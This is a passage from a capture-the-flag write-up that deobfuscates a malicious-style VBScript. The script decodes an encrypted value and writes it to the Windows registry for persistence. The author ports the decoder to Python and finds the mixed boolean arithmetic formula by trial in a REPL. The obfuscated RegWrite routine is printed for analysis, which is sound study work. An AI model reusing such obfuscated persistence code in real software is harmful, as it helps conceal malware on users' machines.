346)),248,416,((1609 - 777) XOR 8),(77 XOR 269),(70 XOR (1041 - 423)),(144 + 12),(126 XOR (379 + 115)),100,((66 - 15) XOR 95),220),Array(176,((1 + 15) XOR 44),(37 XOR ((117 - 47) + 1)),132,(74 - 16),(48 XOR (61 + 43)),(8 + (37 - 17)),142,7,(54 + 172),73,(((0 - 0) + 0) XOR ((0 - 0) + 0)),118,108,(43 + 25))) & _ zYWTgOUvCUasUF(Array(332,620,(113 - 45),(706 + 294),(520 + (85 - 25)),(128 XOR 808),56,208,(138 + 86),(83 + (836 - 255)),(476 + (6 - 2)),(21 + (479 - 212)),((31 + (210 - 96)) XOR (70 - 5)),(155 + 53),428),Array((8 + (12 - 5)),((91 + 4) XOR (183 - 48)),(95 + 5),136,(7 + 220),(195 - 52),(50 + 46),(121 - 57),((122 - 56) XOR ((63 - 19) + 0)),195,10,59,93,(4 + 87),5)) & _ zYWTgOUvCUasUF(Array(748,((172 + (148 - 9)) XOR 87),(299 XOR (444 + 167)),((14 + (1 - 0)) XOR 67),(813 - 57)),Array(231,(0 + (10 - 0)),(119 XOR 208),(82 + (58 - 15)),(192 - 9))), zYWTgOUvCUasUF(Array((415 + 73),(197 + 447),((71 - 20) XOR (319 - 80)),456,((316 - 9) XOR 827),(1060 - 76),104,(205 - 73)),Array((73 - 33),(29 XOR 201),((30 + 3) XOR 120),28,227,148,(15 XOR 121),68)), dec_text, zYWTgOUvCUasUF(Array((359 XOR ((305 - 75) + 757)),((1001 - 321) XOR ((284 - 112) + (298 - 42))),116,(124 + 96),896,(712 - 160)),Array((406 - 153),(43 XOR (31 + 144)),90,(14 + 90),(342 - 163),(90 + 118))) ``` ## Exploit ### Deobfuscated VBS we can see its a obfuscated .vbs script who try to change Registry Key, based on this snippet who have args who indicate is related to Registry and **.RegWrite** methods ```vb! ... Function pPBAddHxuvSqSyj(regPath, regName, regValue, regType) On Error Resume Next Dim gmLGTlQYtwLoT Set gmLGTlQYtwLoT = WScript.CreateObject(zYWTgOUvCUasUF(Array((141 - 37),(1443 - 547),((686 - 175) XOR (1091 - 396)),(233 + 211),720,(261 - 125),(172 + 232),(6 + 10),((180 - 53) + (1310 - 653)),100,((850 - 340) + (106 - 16)),968,796),Array(77,179,(345 - 168),(57 - 28),221,82,((23 - 9) XOR 31),42,(87 XOR 192),(45 + 68),((224 - 37) XOR (96 - 24)),(160 - 2),(153 XOR (30 + 20))))) Dim chfqRkgAaNapL chfqRkgAaNapL = regPath & regName gmLGTlQYtwLoT.RegWrite chfqRkgAaNapL, regValue, regType End Function ... ``` and here is the result of deobsfuscation ```vb! Private Function decode( arg1 As Variant, arg2 As Variant) Dim var1 As String var1 = "" For x = LBound(arg1) To UBound(arg1) var1 = var1 & Chr(arg2(x) Xor arg1(x)) * (2 ^ (2 - 0)) Next decode = var1 End Function Function caesar(text, shift) Dim x, result, charCode result = For x = (1 XOR 0) To Len(text) charCode = Asc(Mid(text, x, 1)) charCode = charCode + shift result = result & Chr(charCode) Next caesar = result End Function Function caesar2(text, shift) Dim x, result, charCode result = For x = 1 To Len(text) charCode = Asc(Mid(text, x, 1)) charCode = charCode - shift result = result & Chr(charCode) Next caesar2 = result End Function Function writeReg(regPath, regName, regValue, regType) On Error Resume Next Dim var2 Set var2 = WScript.CreateObject(decode( Array((141 - 37),(1443 - 547),((686 - 175) XOR (1091 - 396)),(233 + 211),720,(261 - 125),(172 + 232),(6 + 10),((180 - 53) + (1310 - 653)),100,((850 - 340) + (106 - 16)),968,796) ,Array( 77,179,(345 - 168),(57 - 28),221,82,((23 - 9) XOR 31),42,(87 XOR 192),(45 + 68),((224 - 37) XOR (96 - 24)),(160 - 2),(153 XOR (30 + 20))))) Dim regPathDist regPathDist = regPath & regName var2.RegWrite regPathDist, regValue, regType End Function ... ``` so its has decode, caesar(add value), caesar2(substract value), and write reg. and below that is a encrypted value who will used for modifying registry ```vb! Dim dec_text2, dec_text dec_text2 = decode( ... ) dec_text = caesar2(dec_text2, 3) writeReg decode( ... ), decode( ... ), dec_text, decode( ... ) ``` ### refactor code to python now we refactor the code to python, because this .vbs cannot be run it ```python! def decode(arg1, arg2): result = "" for x in range(len(arg1)): result = result + chr((arg2[x] ^ arg1[x])) * 4 return result def caesar(text, shift): return "".join(chr(ord(ch) + shift) for ch in text) def caesar2(text, shift): return "".join(chr(ord(ch) - shift) for ch in text) def writeReg(regPath, regName, regValue, regType): print(".regwrite : ", decode([141 - 37,1443 - 547,686 - 175 ^ 1091 - 396,233 + 211,720,261 - 125,172 + 232,6 + 10,180 - 53 + 1310 - 653,100,850 - 340 + 106 - 16,968,796], [77,179,345 - 168,57 - 28,221,82,23 - 9 ^ 31,42,87 ^ 192,45 + 68,224 - 37 ^ 96 - 24,160 - 2,153 ^ 30 + 20])) print("=== Registry Write ===") print("Path:", regPath) print("Name:", regName) print("Value:", regValue) print("Type:", regType) print("======================") dec_text = ... ... ``` but the result is junk ... ![image](https://hackmd.io/_uploads/r1uE4neOxg.png) so its mean our refactor python code is broken, and it must be `decode` function. ### Find the culprit for debugging whats wrong in our refactor code we can use part code who get object for `.Regwrite` ```vb! ... Set var2 = WScript.CreateObject(decode( Array((141 - 37),(1443 - 547),((686 - 175) XOR (1091 - 396)),(233 + 211),720,(261 - 125),(172 + 232),(6 + 10),((180 - 53) + (1310 - 653)),100,((850 - 340) + (106 - 16)),968,796) ,Array( 77,179,(345 - 168),(57 - 28),221,82,((23 - 9) XOR 31),42,(87 XOR 192),(45 + 68),((224 - 37) XOR (96 - 24)),(160 - 2),(153 XOR (30 + 20))))) ... ``` why we use this part? because we know tha value inside in `WScript.CreateObject( ... )` must be a `WScript.Shell`. now we just do bruteforce-ing arithmethic operation on the value, we use two array that will be used to generate `WScript.Shell` ``` b = [104, 896, 840, 444, 720, 136, 404, 16, 784, 100, 600, 968, 796] c = [77, 179, 177, 29, 221, 82, 17, 42, 151, 113, 243, 158, 171] ``` why bruteforce-ing? because i dont have any idea why my code is broken, so its a fastest way, and we will use index who must have same value like index 11 and 12 who must have 'l', and index 1 and 8 who must have 'S'. so lets using that two equation for get the correct operation we must remember this concept before we try find suitable equation - arg1 is array b, arg2 is array c - b[12] is higher than c[12] even the difference is very big - 4 is important number - printable char is 32-127 - make the result in range printable char - result of the equation must be same for same character like index 11 with 12, and index 1 and 8 - equation from index 11 and 12 must be 'l' - equation from index 1 and 8 must be 'S' ### Find the right equation now lets do the job ```c >>> b[12] ^ c[12] 951 >>> b[11] ^ c[11] 854 >>> 951 - 854 97 >>> 951 - 87 864 >>> ord('l') 108 >>> 951 - 108 843 >>> 854 - 108 746 >>> (b[12] ^ c[12]) - 108 843 >>> (b[11] ^ c[11]) - 108 746 >>> print((b[12] ^ c[12]) - 108, (b[11] ^ c[11]) - 108) 843 746 >>> print((b[12] | c[12]) - 108, (b[11] | c[11]) - 108) 851 882 >>> print((b[12] | c[12]*4) - 108, (b[11] | c[11]*4) - 108) 848 908 >>> print((b[12] ^ c[12]*4) - 108, (b[11] ^ c[11]*4) - 108) 324 324 >>> (b[11] ^ c[11]*4) - 108 324 >>> (b[11] ^ c[11]*4) - 324 108 >>> (b[0] ^ c[0]*4) - 324 24 >>> 324 / 12 27.0 >>> (b[0] ^ c[0]*4) - 27 321 >>> print((b[12] ^ c[12]*4) - 108, (b[11] ^ c[11]*4) - 108) 324 324 >>> (b[0] ^ c[0]*4) - 87 261 >>> (b[0] ^ c[0]*4) % 256 92 >>> (b[0] ^ c[0]*4) % 256 - 5 87 >>> (b[11] ^ c[11]*4) % 256 - 5 171 >>> chr(171) '«' ``` There are many arithmetic equations that fit equation 1 but not equation 2. So finally we found the following equation. ```c >>> print((b[1] ^ c[1]*4) - 108, (b[8] ^ c[8]*4) - 108) 224 224 >>> (b[1] ^ c[1]*4) == (b[8] ^ c[8]*4) True >>> (b[12] ^ c[12]*4) == (b[11] ^ c[11]*4) True ``` now we just need create the equation has the correct value for target character ```c >>> b[1] ^ c[1]*4 332 >>> b[8] ^ c[8]*4 332 >>> ord('S') 83 >>> 332 / 83 4.0 >>> b[11] ^ c[11]*4 432 >>> ord('l') 108 >>> 432 / 108 4.0 >>> 432 / 4 108.0 >>> (b[11] ^ c[11]*4) / 4 108.0 >>> int((b[11] ^ c[11]*4) / 4) 108 >>> chr(int((b[11] ^ c[11]*4) / 4)) 'l' ``` now we have the operation which produce correct character, last test we try on index 0 who must have `W` value ```c >>> chr(int((b[0] ^ c[0]*4) / 4)) 'W' ``` now i realize its a like binomial operation in aljabar its called **Mixed Boolean Arithmetic Expression obfuscation** like this ``` X ^ Y == (X | Y) - (X & Y) X + Y == (X & Y) + (X | Y) X - Y == (X ^ -Y) + 2*(X & -Y) X & Y == (X + Y) - (X | Y) X | Y == X + Y + 1 + (~X | ~Y) ``` now how `chr((arg2[x] ^ arg1[x])) * (2 ** (2 - 0))` became `chr(int((arg1[0] ^ arg2[0]*4) / 4))` ? maybe we can calculate it later, or find the real equation. lets next step ## Flag fix decode function ```python def decode(arg1, arg2): result = "" for x in range(len(arg1)): result = result + chr(int((arg1[x] ^ arg2[x]*4) / 4)) return result ``` ![image](https://hackmd.io/_uploads/Sy0Lbxi_el.png) ![image](https://hackmd.io/_uploads/SkXuZgo_ge.png) flag = ITSEC{R3g1stry_P3rs1st3nc3_FTW!!} ## Reference https://plzin.github.io/posts/mba